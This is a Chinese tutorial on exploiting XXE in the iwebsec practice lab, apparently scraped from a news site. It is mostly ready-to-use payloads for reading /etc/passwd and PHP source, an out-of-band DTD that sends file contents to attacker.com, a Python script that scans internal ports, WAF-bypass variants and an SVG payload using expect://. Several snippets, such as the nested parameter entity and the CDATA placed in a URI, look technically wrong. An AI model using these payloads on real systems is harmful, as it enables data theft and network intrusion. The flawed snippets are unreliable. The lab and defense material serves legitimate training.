当前位置: 首页 > news >正文

iwebsec靶场 XXE漏洞实战:3种协议读取文件与内网探测(附完整Payload)

iwebsec靶场XXE漏洞实战:3种协议读取文件与内网探测

在安全测试领域,XXE(XML External Entity)漏洞一直是一个容易被忽视但危害巨大的安全隐患。iwebsec靶场作为国内知名的漏洞演练平台,其XXE漏洞环境设计精巧,非常适合新手从零开始掌握实战技巧。本文将绕过繁琐的理论讲解,直接切入实战操作,手把手教你如何利用file、php、http三种协议实现文件读取,并通过响应时间差异探测内网开放端口。

1. 靶场环境快速搭建与漏洞定位

iwebsec靶场提供多种部署方式,推荐使用Docker快速启动:

docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec

访问http://localhost即可进入靶场界面。在漏洞分类中选择"XXE漏洞"模块,我们会看到一个简单的XML数据提交页面:

<form action="/xxe/process.php" method="POST"> <textarea name="data" rows="10" cols="50"></textarea> <input type="submit" value="提交"> </form>

使用Burp Suite拦截提交请求,可以看到原始请求格式:

POST /xxe/process.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded data=%3Cuser%3E%3Cname%3Etest%3C%2Fname%3E%3C%2Fuser%3E

关键漏洞点在于服务器未对XML外部实体进行过滤,直接解析了用户提交的XML内容。我们可以通过修改Content-Type为application/xml并构造恶意XML实现攻击。

2. 三协议文件读取实战

2.1 file协议读取系统文件

最直接的利用方式是通过file协议读取服务器本地文件。构造如下Payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user>

关键参数说明:

  • <!ENTITY xxe SYSTEM "file:///etc/passwd">定义名为xxe的外部实体
  • &xxe;引用该实体内容

成功执行后,服务器响应中将包含/etc/passwd文件内容。对于Windows系统,可尝试读取file:///C:/Windows/win.ini等路径。

2.2 php协议获取源码

当需要读取PHP等脚本文件时,直接使用file协议会导致代码被解析执行。此时应使用php过滤器:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/xxe/process.php"> ]> <user> <name>&xxe;</name> </user>

技巧说明:

  • convert.base64-encode将文件内容以Base64编码输出
  • 获取到Base64编码后需自行解码还原源码
  • 路径需根据实际情况调整,常见Web根目录包括/var/www/html/var/www

2.3 http协议外带数据

当遇到无回显的"盲注"场景时,可通过http协议将数据外带到攻击者控制的服务器:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <user> <name>test</name> </user>

在攻击者服务器(attacker.com)放置evil.dtd文件:

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;

实战要点:

  1. 需要具备公网服务器接收数据
  2. 数据中的特殊字符需进行URL编码
  3. 可通过DNSLog等平台简化外带过程

3. 内网端口探测技术

XXE的另一大威力在于内网探测。通过响应时间差异,可以判断目标端口是否开放:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://192.168.1.1:80"> ]> <user> <name>&xxe;</name> </user>

探测逻辑:

  • 若目标端口开放,响应通常在1秒内返回
  • 若端口关闭,连接会等待超时(通常3-5秒)
  • 可批量测试常见端口(22, 80, 443, 3306等)

自动化探测脚本示例:

import requests import time ports = [21, 22, 80, 443, 3306, 3389] target = "192.168.1.1" for port in ports: start = time.time() payload = f"""<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://{target}:{port}"> ]> <user><name>&xxe;</name></user>""" try: requests.post("http://target.com/xxe", data=payload, timeout=3) except: pass if time.time() - start < 1.5: print(f"[+] Port {port} open")

4. 高级绕过与防御对抗

现代WAF通常会检测明显的XXE特征,以下是几种绕过技巧:

1. 编码混淆

<!ENTITY % payload SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

2. 参数实体嵌套

<!DOCTYPE root [ <!ENTITY % param1 "<!ENTITY % param2 SYSTEM 'file:///etc/passwd'>"> %param1; %param2; ]>

3. SVG文件伪装

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"> <image xlink:href="expect://id" x="0" y="0" height="200" width="300"/> </svg>

防御方面,建议开发人员:

  • 禁用外部实体解析
libxml_disable_entity_loader(true);
  • 使用白名单过滤用户输入的XML内容
  • 升级XML解析库到最新版本

5. 实战经验与排错指南

在真实测试过程中,常会遇到以下问题及解决方案:

问题1:返回空白或错误

  • 检查XML格式是否正确闭合
  • 尝试不同协议(file/http/php)
  • 确认文件路径是否存在

问题2:特殊字符导致解析失败

<!ENTITY xxe SYSTEM "http://attacker.com/?data=<![CDATA[敏感内容]]>">

问题3:Java环境下的特殊处理Java应用需要额外声明参数实体:

<!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; %exfil; ]>

问题4:.NET环境限制.NET默认禁用DTD,可尝试:

<?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('file:///etc/passwd')"/> </xsl:template> </xsl:stylesheet>

通过iwebsec靶场的系统化练习,配合本文提供的实战Payload,相信你能快速掌握XXE漏洞的挖掘与利用技巧。记住在实际渗透测试中,务必获取合法授权后再进行安全评估

http://www.jsqmd.com/news/1149889/

相关文章:

  • B/S架构电子病历编辑器(EMRE)部署实战:SpringBoot 2.7 + MySQL 8.0 环境搭建5步
  • A3910与MKV58F1M0VLQ24在工业电机控制中的经典组合
  • 微信小程序内容安全审核 2.0:imgSecCheck 与 mediaCheckAsync 双接口选型指南
  • 语音克隆实战终极指南:10分钟数据训练高质量变声模型
  • 基于51/STM32单片机矿井安全 瓦斯检测 天然气 甲烷报警物联网31(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • 5个步骤轻松解锁加密音乐文件:Unlock Music完全使用指南
  • 云注入去除方案对比:算法助手 vs MT解密工具 vs 手动Smali修改
  • 从零开始:STM32温度控制系统的实战指南
  • iwebsec靶场 XXE漏洞实战:3种协议读取/etc/passwd与源码(附PHP/Java/Python防御代码)
  • DVWA DOM XSS 4级漏洞实战:从Low到Impossible的3种绕过与1个防御核心
  • BQ25887充电芯片与TM4C129ENCPDT的电池平衡系统设计
  • 基于Arduino单片机温湿度报警 大棚温湿度采集系统 DHT1131(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_
  • Spring Boot + Vue 前后端分离订餐系统:5个常见安全漏洞与JWT认证方案
  • Citrix DDC 与 vCenter 证书信任:2种证书获取方法对比与“受信任的人”存储安装要点
  • Java RMI反序列化漏洞实战:ysoserial工具链利用与3种防护策略
  • 【Springboot毕设全套源码+文档】基于SpringBoot的吉他谱分享平台的设计与实现(丰富项目+远程调试+讲解+定制)
  • Unlock Music终极指南:3步解锁加密音乐,重获数字音乐所有权
  • XSS-Platform 源码部署实战:PHP 7.4 + Apache 环境 5 步配置避坑指南
  • PIC18F47Q10与PAM8904构建高效嵌入式警报系统
  • App安全测试自动化:3款开源工具对比与CI/CD集成实战
  • OWASP ZAP 2.15 与 Burp Suite 2024 对比评测:5 大核心功能与实战效率分析
  • 探索式测试(ET)与脚本测试(ST)实战对比:3个真实场景下的效率与缺陷发现率分析
  • Burp Suite CO2 1.2.0 插件实战:5步集成SQLMap自动化SQL注入检测
  • CVE-2023-33246 Apache RocketMQ 5.1.0 漏洞深度剖析:从配置更新到命令注入的3层调用链
  • EyouCMS 1.5.5 与 1.4.3 版本对比:2类后台RCE漏洞的利用路径演变
  • x64dbg 逆向 Qt5.12.3 授权校验:3步定位关键跳转与汇编补丁实战
  • ISO 14229-1 UDS 安全访问实战:27服务种子密钥交换与3种NRC错误处理
  • Docker 2375端口安全加固:3步配置TLS加密与防火墙规则
  • 庭院火锅实测科普:理性选型避坑全指南
  • UDS 0x29 服务 APCE 模式实战:基于 OpenSSL 生成 X.509 证书的 5 步配置